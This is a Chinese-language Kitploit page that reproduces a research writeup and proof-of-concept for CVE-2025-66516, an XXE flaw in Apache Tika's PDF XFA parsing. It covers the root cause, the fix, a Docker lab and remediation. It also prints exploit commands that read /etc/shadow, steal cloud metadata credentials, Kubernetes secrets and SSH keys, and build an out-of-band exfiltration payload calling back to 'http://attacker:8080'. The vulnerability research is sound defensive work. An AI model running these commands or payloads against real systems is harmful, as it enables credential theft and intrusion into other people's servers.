Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-66516-Writeup-POC — CVE-2025-66516 可用的漏洞利用、扫描器、说明。 | Kitploit
工具/GitHubGitHub/chasingimpact/cve-2025-66516-writeup-poc
侦察漏洞分析漏洞利用Web应用程序漏洞利用数据泄露渗透测试学习与教育实验室与实践
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
chasingimpact/cve-2025-66516-writeup-poc

CVE-2025-66516-Writeup-POC

CVE-2025-66516 可用的漏洞利用、扫描器、说明。

查看仓库
10218个月前尚未审核

CVE-2025-66516:Apache Tika 中的严重 XXE 漏洞

image

执行摘要

CVE-2025-66516 是 Apache Tika 中的一个严重 XML 外部实体(XXE)注入漏洞,其 CVSS 评分为 10.0(最高严重性)。该漏洞允许远程攻击者通过上传包含恶意 XFA(XML Forms Architecture,XML 表单架构)内容的特制 PDF 文档,读取任意文件、执行服务端请求伪造(SSRF)并窃取敏感数据。

属性值
CVE IDCVE-2025-66516
CVSS 评分10.0(严重)
披露日期2025 年 12 月 4 日
供应商Apache Software Foundation
受影响产品Apache Tika
攻击向量网络(远程)
身份验证无需认证

受影响版本

组件受影响版本修复版本
tika-core1.13 - 3.2.13.2.2+
tika-parser-pdf-module2.0.0 - 3.2.13.2.2+
tika-parsers1.13 - 1.28.52.0.0+

重要提示: 本 CVE 取代了 CVE-2025-54988,后者错误地将 PDF 模块认定为唯一受影响的组件。实际漏洞位于 tika-core 中。


技术分析

漏洞详情

该漏洞是 Apache Tika 处理 PDF 文档中的 XFA(XML Forms Architecture,XML 表单架构)数据时存在的一个 XML 外部实体(XXE)注入缺陷。

问题所在: Tika 依赖底层的 Java XML 解析器(具体来说是 StAX 解析器)来读取 XFA XML 内容。受影响版本未能正确配置解析器以禁用外部实体解析。当解析器遇到外部实体请求(如 SYSTEM "file:///etc/passwd")时,它会解析并返回文件内容。

缺陷位置: 该 bug 存在于 tika-core 的 XMLReaderUtils.getXMLInputFactory() 中:

root@kitploit:~
public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Ineffective
    return factory;
}

IGNORING_STAX_ENTITY_RESOLVER 原本旨在通过返回空结果来阻止 XXE,但它返回的是 String 而非预期的 InputStream。JDK 默认的 StAX 解析器静默地忽略了这个错误的返回类型,并回退到解析外部实体的默认行为。

修复方案(Tika 3.2.2)

该修复在工厂层面明确禁用了 DTD 和外部实体支持:

root@kitploit:~
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

此外,解析器也被修改为返回正确的 InputStream 类型。

Woodstox 的附带防护

在 Java 生态系统中,存在多种 XML 解析器库。应用程序使用在 classpath 中配置或首先找到的那个解析器。

什么是 Woodstox? Woodstox 是一个高性能的开源 StAX XML 解析器,通常随 Java 应用程序一起打包。

它是如何提供防护的: 根据设计(而非偶然),Woodstox 的实现正确处理了 XMLResolver 的返回类型。当 Woodstox 从 IGNORING_STAX_ENTITY_RESOLVER 接收到字符串返回值时,它会将其视为有效的空内容,从而有效阻止了 XXE。

关键区别:

  • tika-server-standard.jar 捆绑了 Woodstox - 不易受攻击
  • tika-core + 解析器模块(嵌入式使用)未捆绑 Woodstox - 易受攻击
  • 使用 JDK 默认 StAX 解析器的应用程序 - 易受攻击

快速开始

测试漏洞

root@kitploit:~
# 1. Start the lab environment
docker-compose up -d --build

# 2. Test against vulnerable Tika (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extract /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Compare with protected Tika (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check

实验环境

目录结构

root@kitploit:~
CVE-2025-66516/
|-- docker-compose.yml              # Lab orchestration
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika with Woodstox (protected)
|   +-- Dockerfile.jdk-stax         # Tika without Woodstox (VULNERABLE)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Flask upload application
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Automated exploitation tool
|   +-- generate_payload.py         # Malicious PDF generator
+-- README.md

服务

服务

启动实验环境

root@kitploit:~
docker-compose up -d --build

概念验证工具

1. 自动化利用工具(exploit.py)

支持自动生成载荷和提取数据的全链路利用。

root@kitploit:~
# Check if target is vulnerable
python poc/exploit.py --url http://target:9998 --check

# Read local files
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# AWS metadata theft (EC2 instances)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Kubernetes secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF to internal services
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Save extracted data
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. 载荷生成器(generate_payload.py)

生成恶意 PDF 文件,用于手动测试或与其他工具集成。

root@kitploit:~
# Generate payload for specific file
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Generate SSRF payload
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Generate OOB exfiltration payload
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Use attack mode presets
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# List available attack modes
python poc/generate_payload.py --list-modes

可用的攻击模式:

  • file_read - 读取本地文件(/etc/passwd、/etc/shadow 等)
  • ssh_keys - 窃取 SSH 私钥
  • aws_metadata - AWS EC2 元数据和 IAM 凭据
  • gcp_metadata - GCP 服务账号令牌
  • azure_metadata - Azure 托管身份令牌
  • k8s_secrets - Kubernetes 服务账号凭据
  • webapp_configs - 常见 Web 应用程序配置
  • ssrf_internal - 探测内部服务

测试结果

易受攻击的配置(JDK StAX - 无 Woodstox)

在未包含 Woodstox 的 Tika 2.9.2 上进行测试(模拟嵌入式部署):

测试结果
XFA 检测[通过] 识别出 PDF 包含 XFA
XFA 解析[通过] 成功提取 XFA 内容
XXE 文件读取[易受攻击] /etc/passwd 内容被窃取
XXE SSRF[易受攻击] 已发送外部请求

利用证明:

root@kitploit:~
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

受保护的配置(Woodstox StAX)

在包含 Woodstox 的 Tika 2.9.2 上进行测试(标准 tika-server-standard.jar):

测试结果
XFA 检测[通过] 识别出 PDF 包含 XFA
XFA 解析[通过] 成功提取 XFA 内容
XXE 文件读取[已阻止] 外部实体未被解析
XXE SSRF[已阻止] 无出站连接

输出显示空实体:

root@kitploit:~
<li fieldName="data">data: </li>

结论

该漏洞真实存在且非常严重。利用是否成功取决于 StAX 的实现:

  • [受保护] tika-server-standard.jar - 捆绑的 Woodstox 可阻止 XXE
  • [易受攻击] 嵌入式 Tika(tika-core + 解析器)- 默认使用 JDK StAX
  • [易受攻击] 未包含 Woodstox 的自定义部署
  • [易受攻击] 企业集成(Elasticsearch、Solr、Alfresco)- 通常使用嵌入式 Tika

XXE 攻击能力

从本质上讲,XXE 是一种 文件读取/SSRF 漏洞,而非直接的 RCE。不过,它可以实现多种攻击路径:

直接攻击

攻击载荷示例
文件读取SYSTEM "file:///etc/passwd"
SSRFSYSTEM "http://internal:8080/admin"
AWS 元数据SYSTEM "http://169.254.169.254/latest/meta-data/"

升级为 RCE

场景攻击路径
AWS EC2XXE -> SSRF 到元数据 -> IAM 凭据 -> AWS CLI RCE
KubernetesXXE -> 读取服务账号令牌 -> kubectl exec
内部 Jenkins

修复建议

立即行动

  1. 将 Apache Tika 升级到 3.2.2 或更高版本

    root@kitploit:~
    <dependency>
        <groupId>org.apache.tika</groupId>
        <artifactId>tika-core</artifactId>
        <version>3.2.2</version>
    </dependency>
    
  2. 确认所有 Tika 组件均已更新(tika-core 和解析器模块)

风险评估

部署类型风险等级
tika-server-standard.jar低 - Woodstox 可缓解风险
嵌入式 Tika(库使用)高 - 很可能易受攻击
未包含 Woodstox 的自定义部署高 - 易受攻击

纵深防御

  1. 输入验证 - 验证上传的文件类型
  2. 网络分段 - 隔离 Tika 处理
  3. 最小权限 - 最小化文件系统权限
  4. 监控 - 对异常文件访问发出告警

研究历程

遇到的问题

问题 1:初始利用未生效

  • 检测到了 XFA,但 XXE 从未被触发
  • 花费时间调试载荷结构

问题 2:多个 XML 声明错误

  • 错误:WstxParsingException: Illegal processing instruction target ("xml")
  • 原因:每个 XFA 流都包含了 XML 声明
  • 修复:仅在开头部分包含声明,而不是在子流中

问题 3:Woodstox 之谜

  • 所有载荷在 tika-server-standard.jar 上都失败了
  • 发现 Woodstox 被捆绑其中并阻止了 XXE
  • 创建了 Dockerfile.jdk-stax 以在没有 Woodstox 的情况下进行测试

问题 4:测试了错误的配置

  • 在受保护的配置上浪费了时间
  • 教训:在测试之前了解完整的依赖树

经验教训

  1. CVSS 评分需要结合上下文 - 环境因素会影响可利用性
  2. 测试最小化配置 - 不要假设捆绑的依赖项
  3. XML 解析器差异巨大 - 相同的代码在不同的解析器下表现不同
  4. 嵌入式 != 服务器 - 库使用的依赖项通常不同
  5. 错误消息是线索 - 解析器异常会暴露实现细节

参考资料

  • Apache Tika 安全公告
  • 修复提交
  • NVD 条目
  • Apache Tika 邮件列表讨论

时间线

日期事件
2025 年 8 月披露 CVE-2025-54988(范围不完整)
2025 年 12 月 4 日发布 CVE-2025-66516(识别出完整范围)
2025 年 12 月 4 日发布包含修复的 Apache Tika 3.2.2

免责声明

本实验环境和概念验证代码仅供授权的安全测试、教育目的和防御性研究使用。

未经明确的书面授权,请勿将这些工具用于任何系统。

许可证

本研究材料仅供教育目的使用。请负责任地使用。

下载工具
端口
描述
Web 应用程序8080文档上传前端
Tika(Woodstox)9998受保护 - 不易受攻击
Tika(JDK StAX)9997易受攻击 - 无 Woodstox
攻击者监听器9999用于 OOB 测试的 HTTP 服务器
XXE -> SSRF 到脚本控制台 -> Groovy RCE
数据库XXE -> 读取配置文件 -> 数据库访问
SSHXXE -> 读取 SSH 密钥 -> 远程 Shell 访问